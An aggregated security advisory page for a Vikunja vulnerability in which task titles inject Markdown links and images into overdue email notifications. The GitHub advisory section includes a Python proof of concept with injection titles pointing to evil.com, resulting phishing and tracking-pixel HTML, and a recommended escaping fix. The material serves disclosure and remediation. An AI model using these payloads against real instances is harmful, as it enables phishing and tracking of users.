Vikunja has HTML Injection via Task Titles in Overdue Email Notifications

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails. This vulnerability is fixed in 2.3.0.

Source published

10 Apr 2026 16:07:07 UTC

Source modified

14 Apr 2026 15:01:18 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails. This vulnerability is fixed in 2.3.0.

Source published

Apr 10, 2026, 4:07:07 PM (timezone not stated)

Source modified

Apr 14, 2026, 3:01:18 PM (timezone not stated)

Observed here

28 Oct 2026 04:56:25 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails. This vulnerability is fixed in 2.3.0.

Source published

10 Apr 2026 17:17:03 UTC

Source modified

26 Oct 2026 21:10:00 UTC

Observed here

27 Oct 2026 09:03:12 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 5.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

## Summary Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows `<a>` and `<img>` tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails. ## Details The overdue task notification at `pkg/models/notifications.go:360` constructs a Markdown list entry: ```go overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...` ``` The task title is placed inside Markdown link syntax `[TITLE](URL)`. A title containing `]` and `[` breaks the link structure. The assembled Markdown is converted to HTML by goldmark at `pkg/notifications/mail_render.go:214`, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows `<a href>` and `<img src>` with http/https URLs, the injected links and images survive sanitization and reach the email recipient. The same pattern affects multiple notification types at `notifications.go` lines 72, 176, 227, and 318. ## Proof of Concept Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink). ```python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" token = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}).json()["token"] h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json() # create task with markdown injection in title + past due date requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": 'test](https://evil.com) [Click to verify your account', "due_date": "2026-03-26T00:00:00Z"}) # create task with tracking pixel injection requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={ "title": '', "due_date": "2026-03-26T00:00:00Z"}) # enable overdue reminders for the user requests.post(f"{API}/user/settings/general", headers=h, json={ "email_reminders_enabled": True, "overdue_tasks_reminders_enabled": True, "overdue_tasks_reminders_time": "09:00"}) # wait for the overdue notification cron to fire, then inspect the email ``` The overdue notification email HTML contains: ```html <li> <a href="https://evil.com">test</a> <a href="http://vikunja.example/tasks/5">Click to verify your account</a> (Shared), since one day </li> <li> <a href="http://vikunja.example/tasks/6"> <img src="https://evil.com/track.png?user=bob"> </a> (Shared), since one day </li> ``` The attacker's `evil.com` link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened. ## Impact An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them. ## Recommended Fix Escape Markdown special characters in task titles before embedding them in Markdown content: ```go func escapeMarkdown(s string) string { replacer := strings.NewReplacer( "[", "\\[", "]", "\\]", "(", "\\(", ")", "\\)", "!", "\\!", "`", "\\`", "*", "\\*", "_", "\\_", "#", "\\#", ) return replacer.Replace(s) } ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

Source published

10 Apr 2026 15:34:53 UTC

Source modified

25 Jun 2026 18:56:15 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Publisher rating · MODERATE

Vikunja has HTML Injection via Task Titles in Overdue Email Notifications in code.vikunja.io/api. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: code.vikunja.io/api before v2.3.0.

Source published

25 Jun 2026 18:26:48 UTC

Source modified

25 Jun 2026 18:45:20 UTC

Observed here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.